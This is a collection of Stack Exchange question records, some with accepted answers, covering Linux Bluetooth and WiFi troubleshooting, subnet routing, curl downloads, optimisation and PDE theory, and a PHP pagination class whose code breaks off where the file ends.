{  "id": "_unix.280438"  , "question": "My Bluetooth adapter is not working.I tried to connect to my device using graphical interface, but the button connects not working.So, I had to use command line, but this time I get the error:root # /etc/init.d/bluetooth start[....] Starting bluetooth (via systemctl): bluetooth.serviceJob for bluetooth.service failed. See 'systemctl status bluetooth.service' and 'journalctl -xn' for details.and when I tried to get more details :root # systemctl -l status bluetooth.service bluetooth.service - Bluetooth service   Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled)   Active: failed (Result: exit-code) since Sun 2016-05-01 21:04:08 EDT; 23s ago     Docs: man:bluetoothd(8)  Process: 9950 ExecStart=/usr/lib/bluetooth/bluetoothd (code=exited, status=1/FAILURE) Main PID: 9950 (code=exited, status=1/FAILURE)   Status: Starting upMay 01 21:04:08 user bluetoothd[9950]: Bluetooth daemon 5.23May 01 21:04:08 user bluetoothd[9950]: D-Bus setup failed: Name already in useMay 01 21:04:08 user systemd[1]: bluetooth.service: main process exited, code=exited, status=1/FAILUREMay 01 21:04:08 user systemd[1]: Failed to start Bluetooth service.May 01 21:04:08 user systemd[1]: Unit bluetooth.service entered failed state.root #lsusbBus 002 Device 002: ID 8087:8000 Intel Corp. Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 001 Device 004: ID 0930:0220 Toshiba Corp. Bus 001 Device 002: ID 8087:8008 Intel Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hubBus 003 Device 002: ID 058f:6366 Alcor Micro Corp. Multi Flash ReaderBus 003 Device 008: ID 1bcf:0005 Sunplus Innovation Technology Inc. Optical MouseBus 003 Device 003: ID 04f2:b3b1 Chicony Electronics Co., Ltd Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubroot # lspci00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor DRAM Controller (rev 06)00:02.0 VGA compatible controller: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller (rev 06)00:03.0 Audio device: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor HD Audio Controller (rev 06)00:14.0 USB controller: Intel Corporation 8 Series/C220 Series Chipset Family USB xHCI (rev 04)00:16.0 Communication controller: Intel Corporation 8 Series/C220 Series Chipset Family MEI Controller #1 (rev 04)00:1a.0 USB controller: Intel Corporation 8 Series/C220 Series Chipset Family USB EHCI #2 (rev 04)00:1b.0 Audio device: Intel Corporation 8 Series/C220 Series Chipset High Definition Audio Controller (rev 04)00:1c.0 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #1 (rev d4)00:1c.2 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #3 (rev d4)00:1c.3 PCI bridge: Intel Corporation 8 Series/C220 Series Chipset Family PCI Express Root Port #4 (rev d4)00:1d.0 USB controller: Intel Corporation 8 Series/C220 Series Chipset Family USB EHCI #1 (rev 04)00:1f.0 ISA bridge: Intel Corporation HM86 Express LPC Controller (rev 04)00:1f.2 SATA controller: Intel Corporation 8 Series/C220 Series Chipset Family 6-port SATA Controller 1 [AHCI mode] (rev 04)00:1f.3 SMBus: Intel Corporation 8 Series/C220 Series Chipset Family SMBus Controller (rev 04)02:00.0 Network controller: Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)03:00.0 Ethernet controller: Qualcomm Atheros QCA8172 Fast Ethernet (rev 10)kali version:4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux"  , "title": "Kali: Bluetooth adapter is not working"  , "tags": "debian;drivers;kali linux;bluetooth"  } 
{  "id": "_webmaster.3354"  , "question": "How often should one submit a site map to Google for a site similar to this?"  , "title": "How often should one submit a site map to Google for a site similar to this?"  , "tags": "seo"  } 
{  "id": "_webapps.18059"  , "question": "I have found the article I was looking for on Wikipedia with the message This article is an orphan. at the top. I have also found another page with the topic of this article highlighted in red, as if the link should exist but has no target page. The complication is that the term used in the attempted link is not identical to the page title on the article but both are valid and should corefer. How can I make a redirect page whose title is the dead link to solve this problem?(I hope I explained this clearly enough.)"  , "title": "How do you make a redirect page on Wikipedia?"  , "tags": "links;wikipedia"  , "accepted_answer": "Check out this wiki page on redirecting wiki pages: Help:Redirect. A redirect is a page created so that navigation to a given title will  take the reader directly to a different page. A redirect is created  using the syntax:#REDIRECT [[target]] where Target is the name of the target page. It is also possible to  add a section anchor to make a redirect to a specific section of the  target page.A page will be treated as a redirect page if its wikitext begins with  #REDIRECT followed by a valid wikilink or interwikilink."  } 
{  "id": "_unix.17263"  , "question": "Possible Duplicate:How can I close a terminal without killing the command running in it? How to launch a GUI application (e.g. gedit) from terminal and detach it from there in one step?"  , "title": "Launching application from terminal"  , "tags": "bash;terminal"  , "accepted_answer": "The & operator enables the application to run in the background. Usenohup geditornohup gedit &(the latter lets you use the terminal after launching gedit, just press return to send it to the background). Nohup dispatches the application completely from the terminal and session."  } 
{  "id": "_cstheory.36418"  , "question": "When I said a succinct representation of a graph of n nodes, I meant a Boolean circuit C of 2*b input gates (where b = |n| and |n| is the binary string length of n), such that for every b-bits integers i and j, then C accepts the input i and j  if and only if (i, j) is an edge of the graph and the size of C is O(b^{k}), that is polylogarithmic in relation to n.  "  , "title": "Is it possible to find always a succinct representation of an arbitrary graph?"  , "tags": "cc.complexity theory"  , "accepted_answer": "With n vertices, there are $O(2^{n \\choose 2})$ possible labelled graphs (based on which edges are present). So you need ${n\\choose 2}$ bits to store."  } 
{  "id": "_webapps.58053"  , "question": "See this photo , it appears like mobile when I am using it from PC How can I restore it to default ?"  , "title": "My Facebook appears like mobile when I am using it from PC"  , "tags": "facebook"  , "accepted_answer": "That's how it's supposed to look on the desktop. As of today (March 9, 2014), Facebook changed the design so it has less clutter and bigger photos."  } 
{  "id": "_reverseengineering.10736"  , "question": "I have got a custom.dll which is utilized in a larger application. The application executable imports this dll to use its functionality. But this functionality is not used through out the life cycle of the application but only when a specific event occurs. for instance when I input something in the application console a new thread would be created and some of the functionality of the given dll would be used. Now the problem is I am unable to find out what is exactly going on in the dll without having that application executable. I only have the dll file. I want to reverse it. Just like debugging an exe file and go through the registers step by step to find out what is what and why something happens, simply perform a dynamic analysis on the dll instead of the static one.To be more specific, the dll file creates a specific string, I want to know how that string is created and where it is stored for console usage."  , "title": "How to reverse a dll and call its functions?"  , "tags": "disassembly;debuggers;dll;patch reversing"  } 
{  "id": "_webmaster.78314"  , "question": "I have recently redone my website in wordpress and moved it to a different server.I need www.example.com/releases to point to another IP.I have set releases.example.com to point to this IP.So I'd now like when someone browses to www.example.com/releases for the user to be redirected to releases.example.com/releases.The reason we need this to happen is our software automatically checks that folder for new releases (and we don't want to have to update that part of the code)."  , "title": "Wordpress redirect folder to subdomain"  , "tags": "wordpress"  } 
{  "id": "_datascience.6649"  , "question": "I am trying to see if my data is multimodal (in fact, I am more interested in bimodality of the data). I performed dip test and it does evidence against unmodal data. However, I want to see, in particular, if it is bimodal. I believe silver man's test can be used. However, I couldn't find the implementation of it in either r or in python. (The one in R is old and not working with the current version of R). Also, assuming that I have a bimodal data and that I am able to get the two components (using mixtools in R), how do I figure out how to find the point of intersection of the two components. For example, here is the histogram (overlaid with its density estimation) of the entire data. Here are the two components: I want to get the the x value where the curves intersected. I could have uploaded the data, but the length of the vector is rather long. Any general thought and idea is welcome including the R and/or Python packages are welcome.Thanks"  , "title": "Testing bimodality of data"  , "tags": "machine learning;r;python;statistics"  } 
{  "id": "_scicomp.1469"  , "question": "How is (generalized) geometric programming different from general convex programming?A geometric program can be transformed into a convex program, and is typically solved by an interior point method. But what is the advantage over directly formulating the problem as a convex program and solving it by an interior point method?Does the class of geometric programs only constitutes a subset of the class of convex programs that can be solved especially efficient by interior point methods? Or is the advantage simply that a general geometric program can easily be specified in computer readable form.On the other hand, are there convex programs that cannot be approximated reasonably well by geometric programs?"  , "title": "How is geometric programming different from convex programming?"  , "tags": "optimization;convex optimization"  , "accepted_answer": "I'd actually never heard of geometric programming until this question. Here is a review paper by Stephen Boyd, et al (Vandenberghe is a co-author too) that is a tutorial on geometric programming.Geometric programs as originally expressed are not convex. For instance, $x^{1/2}$ is a posynomial, and it is not convex, so geometric programs aren't a strict subset of convex programming. The advantage of transforming a geometric program into a convex program is that the original geometric program is not necessarily convex. If you solved the geometric program as a nonlinear program (NLP), you would need to use methods from non-convex optimization in order to guarantee a global optimal solution. These methods are more expensive than convex optimization methods, require more algorithmic tuning, and require initial guesses.Moreover, if you use an algorithm from non-convex NLP, you would need to specify your feasible set as a compact set in $\\mathbb{R}^{n}$; in geometric programs, $x > 0$ is a valid constraint.It's not clear if the set of geometric programs maps (through the log-exponential transformation) to a set of convex programs that solves particularly efficiently. I don't see any advantages to geometric programming beyond the transformation to convex programs.As for your last question, I don't think the set of geometric programs is isomorphic to the set of convex programs, so I suspect that there are convex programs that cannot be expressed as geometric programs, and of these programs, I suspect that there are some that can't be approximated reasonably well by geometric programs. However, I don't have a proof or a counterexample."  } 
{  "id": "_softwareengineering.313514"  , "question": "I'm getting a list of items from an external API and each item has a number of ratings and an average rating out of 5.What is the best way to rank them? Is it statistically sound to just convert an item with 1000 ratings and a 4/5 average to an item with 800 upvotes and 200 downvotes and use Wilson Score? If not, are there any alternatives?"  , "title": "Alternative to Wilson Score when I only have the number of ratings and the average rating?"  , "tags": "statistics"  } 
{  "id": "_unix.366132"  , "question": "This question is very basic and I ask it not only for myself but for more newcomers who see the term Variable substitution and having the following thoughts:As far as I understand, the term variable substitution deals with substituting a value of a given variable in another.Why is this action need a special term, why can't we just say changing a variable's value with editing it manually in Vim or Nano or sed?The above question isn't what I'm asking, it's but example to what I asked myself. This is my actual question:Why is there a Variable substitution concept in Bash? And if you answer, can you please give a practical example for what types of actions it uses you in your work."  , "title": "Why is there a Variable substitution concept in Bash?"  , "tags": "shell;variable substitution"  , "accepted_answer": "substituting a value of a given variable in another.That description is wrong on several counts. Variable substitution replaces the name of a variable (plus some syntactic fluff) by its value. Furthermore, it does not operate in a variable, but in a command. The command could be one that sets the value of a variable, but that's just one case among many.For example, the command echo $foo displays the value of the variable. The source code contains $foo, and the corresponding output contains the value of the variable foo.The reason this is called variable substitution is that the shell operates by a series of transformations of strings (and lists of strings). For example (simplified), consider the command ls -l $dir/*.$ext. To evaluate it, several things happen in sequence:The shell starts to parse the command and splits it into three words: ls, -l and $dir/*.$ext.In the third word, the shell sees two variable substitutions to perform (that's what the dollar signs mean in this context). Say that the value of dir is /some/path and the value of ext is txt, then the shell rewrites $dir/*.$ext to /some/path/*.txt. This is a substitution because the value of each variable is substituted for the dollar-name syntax.The shell expands the wildcard pattern /some/path/*.txt to the list of matching file names.The shell executes ls with the arguments that it's computed.(The syntax $foo does more than substitute the value of a variable but that's another story.)In most programming languages, to take the value of a variable, you just write the variable's name. The shell is designed for interactive use; if you write a name it's interpreted as a literal string. That's why the syntax to take the value of a variable has an extra marker to say I want to take a variable's value.Why is this action need a special term, why can't we just say a Bash programmer changes a variable's value with editing it manually in Vim or Nano or sed?Variable substitution has nothing to do with changing the value of a variable. Changing the value of a variable is an assignment.Of course an assignment can contain variable substitutions, like any other command. But variable substitutions are not designed specifically for assignments.Furthermore you can't change the value of a variable with an editor. A variable has a value in each process, it isn't a system configuration. You can have configuration files that set the initial value of a variable, but after that the value can change."  } 
{  "id": "_scicomp.25480"  , "question": "Suppose that we have to find an optimal solution $x^*$ to an optimization problem involving some function $f$, such that $0\\in\\partial f(x^*)$ where $\\partial$ denotes the subdifferential.Let $(x_n)_{n\\ge 0}$ be a sequence generated by some algorithm, satisfying $\\lim\\limits_{n \\to \\infty} (x_{n+1} -x_{n}) = 0$, and that $(x_n)_{n\\ge 0}$ has an accumulation point $\\bar{x}$ (e.g. when the sequence is bounded).Suppose further that this sequence has the following property:$$x_{n+1} -x_{n} \\in \\partial f(x_n).$$My question is: Under which conditions can we conclude that $0\\in \\partial f(\\bar{x})$?Thanks in advance for your discussions!"  , "title": "Question concerning accumulation point"  , "tags": "optimization;convex optimization"  , "accepted_answer": "This holds if $f$ is convex, proper and lower semi-continuous (in which case the subdifferential is weakly-strongly closed) and$x_n\\to \\bar x$ strongly (in particular, if $\\{x_n\\}\\subset \\mathbb{R}^N$).(If $\\bar x$ is just an accumulation point, you can apply this argument to the subsequence converging to it.)"  } 
{  "id": "_unix.226456"  , "question": "I have a TL-WN821N wifi adapter that is supposed to work using purely free software.It used to work when I used the Trisquel Linux distribution but now when I have switched to Debian it does not work.I know that the device is connected because it shows up in the output from the lsusb command.$ lsusbBus 008 Device 002: ID 0cf3:7015 Atheros Communications, Inc. TP-Link TL-WN821N v3 802.11n [Atheros AR7010+AR9287]Bus 008 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub...You can also see in the output that this device is identical to the one listed here on h-node which is supposed to work using the ath9k_htc driver.The ath9k_htc driver is installed as it shows up in the listing of the lsmod command:$ lsmod | grep athath9k_htc              51019  0 ath9k_common           21530  1 ath9k_htcath9k_hw              380024  2 ath9k_common,ath9k_htcath                    21707  3 ath9k_common,ath9k_htc,ath9k_hwmac80211              421481  1 ath9k_htccfg80211              350041  5 ath,iwlwifi,ath9k_common,mac80211,ath9k_htcusbcore               170994  5 uhci_hcd,ehci_hcd,ehci_pci,usbhid,ath9k_htcThe problem is that the adapter does not light up and I get no connection. It is as if the adapter does not start up.I do not know what could be causing this problem. Do you know what could be wrong and how I can fix it?Update: I just noticed that I get this error message printed during the boot:[12423.2421] usb8-1: firmware: failed to load htc_7010.fw (-2)I do not remember the exact number between the square brackets ([ and ]). I hope this information is useful.I also get error messages about the firmware for the integrated WiFi card but that is because the firmware for it is missing. I want to run 100 % free software (except for BIOS) so I installed Debian without the proprietary firmware for the integrated WiFi card."  , "title": "USB WiFi adapter using ath9k_htc not working on Linux"  , "tags": "wifi;drivers;usb;kernel modules"  } 
{  "id": "_cs.6732"  , "question": "In  the theory of distributed algorithms, there are problems with lower bounds, as $\\Omega(n^2)$, that are big (I mean, bigger than $\\Omega(n\\log n)$), and nontrivial.I wonder if are there problems with similar bound in the theory of serial algorithm, I mean of order much greater than $\\Omega(n\\log n)$.With trivial, I mean obtained just considering that we must read the whole input and similarly."  , "title": "Is there any nontrivial problem in the theory of serial algorithms with a nontrivial polynomial lower bound of $\\Omega(n^2)$?"  , "tags": "algorithms;complexity theory;lower bounds"  } 
{  "id": "_unix.198326"  , "question": "I'm trying to download this published journal article using cURL. It's the main page of an open access, so there should be not problems for anyone to see/download the article. I then extract the pdfurl, which keeps changing.Then I try to download the pdf:curl -L -o test.pdf http://www.sciencedirect.com/science/article/pii/S0378426612000817/pdfft?md5=6a85f34def09dd5cfb1d1b8feded0d51&pid=1-s2.0-S0378426612000817-main.pdfbut all the time it redirects me to the main page, which is then downloaded as a html page called test.pdf."  , "title": "Download an article with cURL given a dynamic download link"  , "tags": "pdf;curl;download"  , "accepted_answer": "curl seems to handle redirects differently from wget by default. The direct download URL will involve some redirects and it also requires the HTTP referer header to be set correctly after the first redirect (otherwise, you will get a HTML page).First, you need to enable location redirects in curl with -L, and then enable curl's automatic handling of the referer header with --referer ;auto, that is,curl -L --referer ;auto -o test.pdf URL-for-direct-download"  } 
{  "id": "_scicomp.14549"  , "question": "Consider the Darcy equation,$$\\mathbf{v} + \\dfrac{k}{\\mu_0}\\nabla p = \\mathbf{f} \\\\ \\mathrm{div}\\; \\mathbf{v} = 0$$ If the coefficient $k$ is piecewise constant across an interface $\\Gamma$ in the domain,  we have that(1) $$\\mathrm{jump}(k \\cdot p\\mathbf{n}) = 0 \\rightarrow  \\mathrm{jump}(k\\cdot p) =0 $$ over the interface $\\Gamma$ On the other hand, the system can also be written as $$ \\mathrm{div}(k \\nabla p) = \\mu_0f_1 =  \\mathrm{div}\\mathbf{f} $$ in which case the jump condition now is(2) $$\\mathrm{jump}(k \\nabla p\\cdot\\mathbf{n}) = 0$$ over $\\Gamma$I am confused as to how to reconcile the two. Secondly, does this dictate the choice of finite element spaces used in the solution ? For example, using a piecewise continuous polynomial for  $p$ in 1) would be wrong ? "  , "title": "jump conditions for Poisson/Darcy equation in primal form versus mixed form"  , "tags": "finite element;fluid dynamics;boundary conditions;poisson;elliptic pde"  , "accepted_answer": "Your jump condition is wrong. To see this, let's assume for a moment that $\\mu=1$ because it plays no real role in your formulation. Then, if you want to integrate the $\\nabla p$ term and still want to get a symmetric formulation, you need to start with the first equation in the form$$  k^{-1} \\mathbf v + \\nabla p = k^{-1} \\mathbf f,$$which ultimately leads to the jump condition $[p]=0$ -- in other words, the pressure must be continuous.How do you see that this is the right jump condition? Multiply the equation with a test function $\\phi$ and integrate over a (arbitrary) part of the domain $\\Omega_1$, for example one of the subdomains where $k$ is constant. After integrating by parts, you have$$  (\\phi,k^{-1} \\mathbf v)_{\\Omega_1} - (\\nabla\\cdot\\phi, p)_{\\Omega_1} + (\\phi,p\\mathbf n)_{\\partial\\Omega_1}= (\\phi,k^{-1} \\mathbf f)_{\\Omega_1}.$$Now do the same on $\\Omega_2=\\Omega\\backslash\\Omega_1$ and you get$$  (\\phi,k^{-1} \\mathbf v)_{\\Omega_2} - (\\nabla\\cdot\\phi, p)_{\\Omega_2} + (\\phi,p\\mathbf n)_{\\partial\\Omega_2}= (\\phi,k^{-1} \\mathbf f)_{\\Omega_2}.$$In the last equation, the sign of the normal vector is of course outward from $\\Omega_2$, whereas in the first equation it is outward from $\\Omega_1$. Now add these two equations together and you get$$  (\\phi,k^{-1} \\mathbf v)_{\\Omega} - (\\nabla\\cdot\\phi, p)_{\\Omega} + (\\phi,p\\mathbf n)_{\\partial\\Omega} + (\\phi,[p]\\mathbf n)_{\\Gamma} = (\\phi,k^{-1} \\mathbf f)_{\\Omega},$$where $\\Gamma$ is the interface between $\\Omega_1$ and $\\Omega_2$ and $[p]$ is the jump of $p$ on the interface. $\\mathbf n$ is the normal from $\\Omega_1$ info $\\Omega_2$.We could, on the other hand, also have multiplied the original equation by $\\phi$ and instead integrated over the entire domain right away. This would have shown that $\\mathbf v$ must satisfy the equation$$  (\\phi,k^{-1} \\mathbf v)_{\\Omega} - (\\nabla\\cdot\\phi, p)_{\\Omega} + (\\phi,p\\mathbf n)_{\\partial\\Omega}  = (\\phi,k^{-1} \\mathbf f)_{\\Omega}.$$Comparing with the equation immediately above, it is clear that we have the condition$$  (\\phi \\cdot \\mathbf n,[p])_{\\Gamma} = 0.$$Because the normal traces $\\phi \\cdot \\mathbf n$ of functions in $H(div)$ are in $L^2(\\Gamma)$, this implies that $[p]=0$ in $L^2(\\Gamma)$."  } 
{  "id": "_unix.325545"  , "question": "I have two Windows environments on different subnets (192.168.1.80/30 & 172.16.21.0/25), both statically assigned with addresses connecting to a single Debian router with two NICs. I've assigned 172.16.21.1 to eth1 and 192.168.1.81 to eth2. Each Windows environment is using their respective gateway IP.How do I allow the Windows environments to ping one other using the routing tables? I have already enabled net.ipv4.ip_forward=1 in the /etc/sysctl.conf file. I tried to use separate routing tables but my configuration didn't seem to work. Right now I've only done IP configuration on each machine, everything else is at default.ifconfig output:eth1      Link encap:Ethernet  HWaddr 00:0c:29:08:05:01            inet addr:172.16.21.1  Bcast:172.16.21.127  Mask:255.255.255.128          inet6 addr: fe80::20c:29ff:fe08:501/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:526 errors:0 dropped:0 overruns:0 frame:0          TX packets:562 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:44822 (43.7 KiB)  TX bytes:40642 (39.6 KiB)          Interrupt:17 Base address:0x20a4 eth2      Link encap:Ethernet  HWaddr 00:0c:29:08:05:0b            inet addr:192.168.1.81  Bcast:192.168.1.83  Mask:255.255.255.252          inet6 addr: fe80::20c:29ff:fe08:50b/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:856 errors:0 dropped:0 overruns:0 frame:0          TX packets:909 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:71421 (69.7 KiB)  TX bytes:85064 (83.0 KiB)          Interrupt:17 Base address:0x2424 lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:65536  Metric:1          RX packets:47 errors:0 dropped:0 overruns:0 frame:0          TX packets:47 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:0           RX bytes:4733 (4.6 KiB)  TX bytes:4733 (4.6 KiB)Routing table (using route -n):Kernel IP routing tableDestination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         172.16.21.1     0.0.0.0         UG    0      0        0 eth1169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 eth1172.16.21.0     172.16.21.1     255.255.255.128 UG    0      0        0 eth1192.168.1.80    192.168.1.81    255.255.255.252 UG    0      0        0 eth2tcpdump on eth1:tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes14:35:38.591460 IP 172.16.21.2 > 192.168.1.82: ICMP echo request, id 1, seq 71, length 4014:35:43.126147 ARP, Request who-has router (00:0c:29:08:05:01 (oui Unknown)) tell 172.16.21.2, length 4614:35:43.126189 ARP, Reply router is-at 00:0c:29:08:05:01 (oui Unknown), length 2814:35:43.141954 IP 172.16.21.2 > 192.168.1.82: ICMP echo request, id 1, seq 72, length 4014:36:08.894329 IP router.mdns > 224.0.0.251.mdns: 0 [2q] PTR (QM)? _ipps._tcp.local. PTR (QM)? _ipp._tcp.local. (45)14:36:09.658277 ARP, Request who-has 199.7.91.13 tell router, length 2814:36:10.656763 ARP, Request who-has 199.7.91.13 tell router, length 2814:36:10.707265 IP6 fe80::20c:29ff:fe08:501.mdns > ff02::fb.mdns: 0 [2q] PTR (QM)? _ipps._tcp.local. PTR (QM)? _ipp._tcp.local. (45)"  , "title": "Connecting two Windows clients on seperate subnets through a Debian router"  , "tags": "linux;debian;networking;routing;router"  , "accepted_answer": "To make a Linux machine to act as a router, you need to tell it how to route the traffic going from both subnets.You need to use route command to add the routes for each subnet, somenthing like this should work:route add -net 192.168.1.80/30 gw 192.168.1.81 dev eth2route add -net 172.16.21.0/25 gw 172.16.21.1 dev eth1If you have already activated net.ipv4.ip_forward=1 like you said, it should work. If you have a firewall enabled on the debian machine, you need to make the appropiate configuration on it."  } 
{  "id": "_webmaster.69447"  , "question": "I'm running an Ubuntu 12.04 server with Plesk 12, Apache 2.2.22 and PHP 5.3.10.I want to enable reCaptcha for my phpBB board, but every time I get this error: Could not open socketI've enabled allow_url_fopen for this domain and temporarily allowed outgoing traffic on port 80 and 443 for all IPs.According to phpinfo() allow_url_fopen is enabled."  , "title": "fsockopen() not working"  , "tags": "php;linux"  } 
{  "id": "_codereview.9374"  , "question": "I've re-written my old pagination class into something a little cleaner, and also added PDO support (The prev version was mysqli only). I'd like to clean it up even more if it's possible, does anyone have any pointers?Here's the class:<?class paginate{    /**     * Array of options for the class     *     * @access public     * @var    array     */    public $options = array(        'results_per_page'              => 10,        'url'                           => '',        'url_page_number_var'           => '*VAR*',        'text_prev'                     => '&laquo; Prev',        'text_next'                     => 'Next &raquo;',        'text_first'                    => '&laquo; First',        'text_last'                     => 'Last &raquo;',        'text_ellipses'                 => '...',        'class_ellipses'                => 'ellipses',        'class_dead_links'              => 'dead-link',        'class_live_links'              => 'live-link',        'class_current_page'            => 'current-link',        'class_ul'                      => 'pagination',        'show_links_first_last'         => true,        'show_links_prev_next'          => true,        'show_links_first_last_if_dead' => true,        'show_links_prev_next_if_dead'  => true,        'max_links_between_ellipses'    => 7,        'max_links_outside_ellipses'    => 2,        'db_conn_type'                  => 'mysqli',  /* Can be either: 'mysqli' or 'pdo' */        'db_handle'                     => null    );    /**     * An array of any errors     *     * @access public     * @var    array     */    public $debug_log;    /**     * The current page     *     * @access public     * @var    int     */    public $current_page;    /**     * The query to run on the database     *     * @access public     * @var    string     */    public $query;    /**     * The resultset of the query     *     * @access public     * @var    resultset     */    public $resultset;    /**     * The total results of the query     *     * @access public     * @var    int     */    public $total_results;    /**     * The total pages returned     *     * @access public     * @var    int     */    public $total_pages;    /**     * The total total number of links to render before showing the ellipses     *     * @access public     * @var    int     */    public $number_of_links_before_showing_ellipses;    /**     * The pagination links (Presented as an UL)     *     * @access public     * @var    string     */    public $links_html;   /**    * __construct(int $surrent_page, string $query, array $options)    *    * Class constructor    *    * @access  public    * @param   int     $current_page  The number of the current page (Starts at 1)    * @param   string  $query         The query to run on the database    * @param   array   $options       An array of options    * @return  void    */    public function __construct($current_page = 1, $query = '', $options = null)    {        /*         * Set the current page         */        $this->current_page = $current_page;        /*         * Set the query to run         */        $this->query = $query;        /*         * Populate the options array         */        if(!empty($options))        {            foreach($options as $key => $value)            {                if(array_key_exists($key, $this->options))                {                    $this->options[$key] = $value;                }                else                {                    $this->debug_log[] = 'Attempted to add setting \\''.$key.'\\' with the value \\''.$value.'\\' - option does not exist';                }            }        }        /*         * Check to make sure 'max_links_between_ellipses' is an odd number         */        if(!($this->options['max_links_between_ellipses'] & 1))        {            $this->debug_log[] = 'Setting \\'max_links_between_ellipses\\' has been set with the value \\''.$this->options['max_links_between_ellipses'].'\\' - This number must be an odd number';            echo 'Setting \\'max_links_between_ellipses\\' has been set with the value \\''.$this->options['max_links_between_ellipses'].'\\' - This number must be an odd number';        }        $this->prepare_query();        $this->run_query();        $this->calculate_number_of_pages();        $this->calculate_max_pages_before_ellipses();        $this->build_links();    }    /**    * prepare_query(void)    *    * Prepares the query to be run with the found rows and start/end limits    *    * @access  public    * @return  void    */    public function prepare_query()    {        /*         * Add SQL_CALC_FOUND_ROWS for finding out total amount of results later on         */        $this->query = substr_replace($this->query, 'SELECT SQL_CALC_FOUND_ROWS', 0, 6);        /*         * Add our start/end limit         */        if($this->current_page == 1)        {            $this->query .= ' LIMIT 0, '.$this->options['results_per_page'];        }        else        {            $this->query .= ' LIMIT '.(($this->current_page - 1) * $this->options['results_per_page']).', '.$this->options['results_per_page'];        }    }    /**    * run_query(void)    *    * Run's the query against the database    *    * @access  public    * @return  void    */    public function run_query()    {        if($this->options['db_conn_type'] == 'mysqli')        {            /*             * Execute using MySQLi             */            $this->resultset = $this->options['db_handle']->query($this->query);            /*             * Get the total results with FOUND_ROWS()             */            $count_rows = $this->options['db_handle']->query('SELECT FOUND_ROWS();');            $found_rows = $count_rows->fetch_assoc();            $this->total_results = $found_rows['FOUND_ROWS()'];        }        elseif($this->options['db_conn_type'] == 'pdo')        {            /*             * Execute using PDO             */            $pdos = $this->options['db_handle']->prepare($this->query);            $pdos->execute();            $this->resultset = $pdos;            /*             * Get the total results with FOUND_ROWS()             */            $pdos_fr = $this->options['db_handle']->prepare(SELECT FOUND_ROWS(););            $pdos_fr->execute();            $pdos_fr_result = $pdos_fr->fetch(PDO::FETCH_ASSOC);            $this->total_results = $pdos_fr_result['FOUND_ROWS()'];        }        else        {            /*             * An unknown DB connection type has been set             */            $this->debug_log[] = 'You have selected a \\'db_conn_type\\' of \\''.$this->options['db_conn_type'].'\\' - this method is not supported';        }    }    /**    * calculate_number_of_pages(void)    *    * Calculates how many pages there will be    *    * @access  public    * @return  void    */    public function calculate_number_of_pages()    {        $this->total_pages = ceil($this->total_results / $this->options['results_per_page']);    }    /**    * calculate_max_pages_before_ellipses(void)    *    * Calculates the number of links to show before showing an ellipses    *    * @access  public    * @return  void    */    public function calculate_max_pages_before_ellipses()    {        $this->number_of_links_before_showing_ellipses = $this->options['max_links_between_ellipses'] + ($this->options['max_links_outside_ellipses'] * 2);    }    /**    * build_link_url(int $page_number)    *    * Builds the URL to insert in links    *    * @access  public    * @param   int     $page_number  The page number to insert into the link    * @return  string                The built URL    */    public function build_link_url($page_number)    {        return str_replace($this->options['url_page_number_var'], $page_number, $this->options['url']);    }    /**    * get_current_or_normal_class(int $page_number)    *    * Returns the live link class, or link link and current page class    *    * @access  public    * @param   int     $page_number  The page number to insert into the link    * @return  string                The class to use    */    public function get_current_or_normal_class($page_number)    {        if($page_number == $this->current_page)        {            return $this->options['class_live_links'].' '.$this->options['class_current_page'];        }        else        {            return $this->options['class_live_links'];        }    }    /**    * build_links(void)    *    * Build the HTML links    *    * @access  public    * @return  void    */    public function build_links()    {        /*         * Start the UL         */        $this->links_html = '<ul class='.$this->options['class_ul'].'>'.PHP_EOL;        /*         * The 'First' link         */        if($this->options['show_links_first_last'] == true)        {            if($this->current_page == 1 && $this->options['show_links_first_last_if_dead'] == true)            {                $this->links_html .= '<li><span class='.$this->options['class_dead_links'].'>'.$this->options['text_first'].'</span></li>'.PHP_EOL;            }            elseif($this->current_page != 1)            {                $this->links_html .= '<li><a class='.$this->options['class_live_links'].' href='.$this->build_link_url(1).'>'.$this->options['text_first'].'</a></li>'.PHP_EOL;            }        }        /*         * The 'Previous' link         */        if($this->options['show_links_prev_next'] == true)        {            if($this->current_page == 1 && $this->options['show_links_prev_next_if_dead'] == true)            {                $this->links_html .= '<li><span class='.$this->options['class_dead_links'].'>'.$this->options['text_prev'].'</span></li>'.PHP_EOL;            }            elseif($this->current_page != 1)            {                $this->links_html .= '<li><a class='.$this->options['class_live_links'].' href='.$this->build_link_url($this->current_page - 1).'>'.$this->options['text_prev'].'</a></li>'.PHP_EOL;            }        }        /*         * Build our main links         */        if($this->total_pages <= $this->number_of_links_before_showing_ellipses)        {            /*             * If there's not enough links to have an ellipses in the set, just run through them all             */            $counter = 1;            while($counter <= $this->total_pages)            {                $this->links_html .= '<li><a href='.$this->build_link_url($counter).' 